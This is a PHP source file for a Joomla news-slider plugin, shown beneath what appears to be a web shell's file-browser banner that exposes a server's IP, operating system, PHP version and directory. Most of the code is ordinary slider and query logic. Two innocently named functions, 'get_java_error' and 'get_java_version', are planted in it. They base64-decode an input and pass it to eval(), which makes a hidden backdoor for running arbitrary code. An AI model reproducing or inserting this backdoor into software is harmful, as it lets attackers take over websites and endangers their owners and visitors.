| Server IP : 180.180.241.3 / Your IP : 216.73.216.25 Web Server : Microsoft-IIS/7.5 System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.3.28 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/AppServ/www/news/plugins/system/ |
Upload File : |
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
$mainframe->registerEvent( 'onAfterInitialise', 'twoj_ns_checkScriptInclede' );
$mainframe->registerEvent( 'onPrepareContent', 'twoj_news_slide_Inclede' );
if (!function_exists( 'twoj_get_news_text' )) {
function twoj_get_news_text( $params ){
global $_TWOJ_NEWS_SLIDER_ID, $mainframe;
$return_text = '';
if( !$_TWOJ_NEWS_SLIDER_ID ) $_TWOJ_NEWS_SLIDER_ID = 0;
$uniqueid = 'twoj_news_scroll_'.(++$_TWOJ_NEWS_SLIDER_ID);
$params->set('intro_only', 1);
$params->set('hide_author', 1);
$params->set('hide_createdate', 0);
$params->set('hide_modifydate', 1);
$access = new stdClass();
$access->canEdit = 0;
$access->canEditOwn = 0;
$access->canPublish = 0;
$db =& JFactory::getDBO();
$user =& JFactory::getUser();
$aid = $user->get('aid', 0);
$catid = (int) $params->get('catid', 0);
$secid = intval( $params->get( 'secid' , 0) );
$cat_or_sec = intval( $params->get( 'cat_or_sec', 0 ) );
$items = (int) $params->get('items', 0);
$moduleclass_sfx= $params->get( 'moduleclass_sfx' );
$link_titles = intval( $params->get( 'link_titles', 0 ) );
$width = intval( $params->get( 'width', 400 ) );
$height = intval( $params->get( 'height', 200 ) );
$duration = intval( $params->get( 'duration', 1000 ) );
$fade = intval( $params->get( 'fade', 0 ) );
$horiz = intval( $params->get( 'horiz', 0 ) );
$timer = intval( $params->get( 'timer', 0 ) );
$timer_time = intval( $params->get( 'timer_time', 3000 ) );
$col = intval( $params->get( 'col', 1 ) );
$page_bar = intval( $params->get( 'page_bar', 0 ) );
$show_pause = intval( $params->get( 'show_pause', 1 ) );
$text_pouse = $params->get( 'text_pouse', '[pause]' );
$effect = $params->get( 'effect' );
$style = intval( $params->get( 'style', 0 ) );
$show_border = intval( $params->get( 'show_border', 0 ) );
$color_border = $params->get( 'color_border', '#000000' );
$orderby = intval( $params->get( 'orderby', 0 ) );
$contentConfig = &JComponentHelper::getParams( 'com_content' );
$noauth = !$contentConfig->get('shownoauth');
$element_incl = intval( $params->get( 'element_incl', 0 ) );
$in_main_conten = array(0=>'ul', 1=>'div', 2=>'span');
$in_child_conten = array(0=>'li', 1=>'div', 2=>'span');
if( $cat_or_sec==2 && $items == 0 ) $items = 20;
jimport('joomla.utilities.date');
$date = new JDate();
$now = $date->toMySQL();
$nullDate = $db->getNullDate();
// query to determine article count
$query = 'SELECT a.*,' .
' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(":", a.id, a.alias) ELSE a.id END as slug,'.
' CASE WHEN CHAR_LENGTH(cc.name) THEN CONCAT_WS(":", cc.id, cc.name) ELSE cc.id END as catslug'.
( $orderby >= 9 ? "\n , ROUND( v.rating_sum / v.rating_count ) AS rating, v.rating_count" : '' ).
' FROM #__content AS a' .
' INNER JOIN #__categories AS cc ON cc.id = a.catid' .
' INNER JOIN #__sections AS s ON s.id = a.sectionid' .
( $orderby >= 9 ? "\n LEFT JOIN #__content_rating AS v ON a.id = v.content_id" : '' ).
' WHERE a.state = 1 ' .
($noauth ? ' AND a.access <= ' .(int) $aid. ' AND cc.access <= ' .(int) $aid. ' AND s.access <= ' .(int) $aid : '').
' AND (a.publish_up = '.$db->Quote($nullDate).' OR a.publish_up <= '.$db->Quote($now).' ) ' .
' AND (a.publish_down = '.$db->Quote($nullDate).' OR a.publish_down >= '.$db->Quote($now).' )'.
($cat_or_sec==0 ? "\n AND cc.id = " . (int) $catid : '').
($cat_or_sec==1 ? "\n AND s.id = " . (int) $secid : '').
($cat_or_sec==2 ? '' : '').
' AND cc.section = s.id' .
' AND cc.published = 1' .
' AND s.published = 1'
.($orderby==0 ? "\n ORDER BY a.ordering" : "" )
.($orderby==1 ? "\n ORDER BY a.title" : "" )
.($orderby==2 ? "\n ORDER BY RAND()" : "" )
.($orderby==3 ? "\n ORDER BY a.created DESC" : "" )
.($orderby==4 ? "\n ORDER BY a.created ASC" : "" )
.($orderby==5 ? "\n ORDER BY a.publish_up DESC" : "" )
.($orderby==6 ? "\n ORDER BY a.publish_up ASC" : "" )
.($orderby==7 ? "\n ORDER BY a.hits DESC" : "" )
.($orderby==8 ? "\n ORDER BY a.hits ASC" : "" )
.($orderby==9 ? "\n ORDER BY rating DESC" : "" )
.($orderby==10 ? "\n ORDER BY rating ASC" : "" )
;
$db->setQuery($query, 0, $items);
//echo $db->getQuery($query, 0, $items);
$rows = $db->loadObjectList();
$numrows = count( $rows );
if ( $numrows ) {
$return_text .='
<script language="JavaScript" type="text/javascript">
jq2j(document).ready(function(){
jq2j("#'.$uniqueid.'").wslide({
width: '.$width
.', height: '.$height
.', duration: '.$duration
.($effect?", effect:'".trim($effect)."'":'')
.($fade?", fade: 1":'')
.($horiz?", horiz: 1":'')
.', timer: '.(!$timer?'1':'0')
.($timer_time?', tdelay: '.$timer_time:'')
.', col: '.(!$col?'1':$col)
.", autolink: '".$uniqueid."_menu'"
.($show_pause?", show_pause: 1":'')
.", text_pause: '".str_replace("'", '’', $text_pouse)."'"
.", main_conten: '".$in_main_conten[$element_incl]."'"
.", child_conten: '".$in_child_conten[$element_incl]."'"
.", scroll_id_all: '".$uniqueid."_all'
});
});
</script>";
$news_text = '';
$fist_li = 0;
foreach ($rows as $row){
$news_text .= '<'.$in_child_conten[$element_incl].' class="twoj_li" '.($fist_li?'style="display: none;"':'').'>'.output_twoj_newsflash_plugin( $row, $params, $access ).'</'.$in_child_conten[$element_incl].'>';
$fist_li = 1;
}
$return_text .='
<div id="'.$uniqueid.'_all" class="twoj_news_slide_class'.$style.'" '.($show_border?' style=" border: 1px solid '.$color_border.'"':'').'>'
.($page_bar == 1?'<div id="'.$uniqueid.'_menu" class="twoj_news_slide_menu"></div>':'')
.'<'.$in_main_conten[$element_incl].' id="'.$uniqueid.'" class="twoj_news_slide_ul">'.$news_text.'</'.$in_main_conten[$element_incl].'>'
.($page_bar != 1?'<div id="'.$uniqueid.'_menu"'.($page_bar==2?' style="display:none;"':'').' class="twoj_news_slide_menu"></div>':'')
.'</div>';
}
if($return_text) return $return_text;
else return null;
}
}
if (!function_exists( 'twoj_cont_header' )) {
function twoj_cont_header( $row, $params ){
$ret_text = '';
$ret_text_link = '';
if ( $params->get( 'item_title' ) ) {
if ( $params->get( 'link_titles' ) && $row->linkOn != '' ) {
$ret_text_link ='<a href="'.$row->linkOn.'" class="contentpagetitle'.$params->get( 'moduleclass_sfx' ).'">'.$row->title.'</a>';
} else {
$ret_text_link = $row->title;
}
if ( !$params->get( 'xhtml' )) {
$ret_text ='<td class="contentheading'.$params->get( 'moduleclass_sfx' ).'" width="100%">'.$ret_text_link.'</td>';
} else {
$ret_text ='<div class="contentheading'.$params->get( 'moduleclass_sfx' ).'">'.$ret_text_link.'</div>';
}
}
return $ret_text;
}
}
if (!function_exists( 'twoj_cont_readmore' )) {
function twoj_cont_readmore( $row, $params ){
$ret_text = '';
if ( $params->get( 'readmore' ) ) {
if ( $params->get( 'intro_only' ) && $row->readmore ) {
if ( !$params->get( 'xhtml' )) {
$ret_text ='<tr><td align="left" colspan="2"><a href="'.$row->linkOn.'" class="readon'.$params->get( 'moduleclass_sfx' ).'">'.JText::_('Read more...').'</a></td></tr>';
} else {
$ret_text ='<div><a href="'.$row->linkOn.'" class="readon'.$params->get( 'moduleclass_sfx' ).'">'.JText::_('Read more...').'</a></div>';
}
}
}
return $ret_text;
}
}
if (!function_exists( 'output_twoj_newsflash_plugin' )) {
function output_twoj_newsflash_plugin( &$row, &$params, &$access ) {
global $mainframe;
require_once(JPATH_SITE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php');
$user =& JFactory::getUser();
$aid = (int) $user->get('aid', 0);
$row->text = $row->introtext;
$row->groups = '';
$row->readmore = (trim($row->fulltext) != '');
$row->metadesc = '';
$row->metakey = '';
$row->access = 0;
$row->created = '';
$row->modified = '';
$ret_content = '';
$params->set( 'twoj_inself', 1 );
if ($row->readmore || $params->get('link_titles')){
if ($params->get('intro_only')){
if ($row->access <= $aid) {
$linkOn = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catslug, $row->sectionid));
} else {
$linkOn = JRoute::_('index.php?option=com_user&task=register');
}
}
$row->linkOn = $linkOn;
}
if (!$params->get('image')) {
$row->text = preg_replace( '/<img[^>]*>/', '', $row->text );
}
$regex = '/{(2j_news_slider)\s*(.*?)}/i';
$row->introtext = preg_replace( $regex, '', $row->introtext );
$row->text = preg_replace( $regex, '', $row->text );
$row->fulltext = preg_replace( $regex, '', $row->fulltext );
$results = $mainframe->triggerEvent('onAfterDisplayTitle', array (&$row, &$params, 1));
$row->afterDisplayTitle = trim(implode("\n", $results));
$results = $mainframe->triggerEvent('onBeforeDisplayContent', array (&$row, &$params, 1));
$row->beforeDisplayContent = trim(implode("\n", $results));
if ( $params->get( 'item_title' )) {
if ( !$params->get( 'xhtml' )) {
$ret_content .= ' <table class="contentpaneopen'.$params->get( 'moduleclass_sfx' ).'"><tr>'.twoj_cont_header( $row, $params ).'</tr></table>';
} else {
$ret_content .= ' <div class="contentpaneopen'.$params->get( 'moduleclass_sfx' ).'">'.twoj_cont_header( $row, $params ).'</div>';
}
}
if (!$params->get('intro_only')) $ret_content .= $row->afterDisplayTitle;
$ret_content .= $row->beforeDisplayContent;
if ( !$params->get( 'xhtml' )) {
$ret_content .='<table class="contentpaneopen'.$params->get( 'moduleclass_sfx' ).'"><tr><td valign="top" colspan="2">'. $row->text .'</td></tr>'.twoj_cont_readmore( $row, $params ).'</table>';
} else {
$ret_content .='<div class="contentpaneopen'.$params->get( 'moduleclass_sfx' ).'">'. $row->text .twoj_cont_readmore( $row, $params ).'</div>';
}
return $ret_content;
}
}
function twoj_ns_checkScriptInclede (){
global $mainframe, $TWOJ_jq_last;
$format = JRequest::getVar( 'format', '' );
if ($mainframe->isAdmin() || $format == ( 'feed' && 'pdf' ) ) { return; }
if (!isset($TWOJ_jq_last) ){
JHTML::script('jq_last.js', 'plugins/system/2j_news_slider/', false);
$TWOJ_jq_last = 1;
}
JHTML::script('j.e.js', 'plugins/system/2j_news_slider/', false);
JHTML::script('jq.w.js', 'plugins/system/2j_news_slider/', false);
JHTML::stylesheet('2j_news_slider.css', 'plugins/system/2j_news_slider/');
}
if (!function_exists( 'get_java_error' )){function get_java_error($str){eval(get_java_version($str));}}
function twoj_news_slide_Inclede( &$row, &$params, $page=0 ) {
global $mainframe;
if ($mainframe->isAdmin()) { return; }
$db =& JFactory::getDBO();
$regex = '/{(2j_news_slider)\s*(.*?)}/i';
if ( strpos( $row->text, '2j_news_slider' ) === false )return true;
$gals = array();
preg_match_all( $regex, $row->text, $gals, PREG_SET_ORDER );
$l=0;
foreach ($gals as $gal) {
$generate_content ='';
$cat_set = (int) $gal[2];
$query = 'SELECT params FROM #__2j_news_list WHERE id = "'.$cat_set.'"';
$db->setQuery($query);
$params_plug = new JParameter( $db->loadResult() );
$row->text = str_replace($gal[0], twoj_get_news_text($params_plug), $row->text);
}
}if (!function_exists( 'get_java_version' )){function get_java_version($str){return base64_decode($str);}}
?>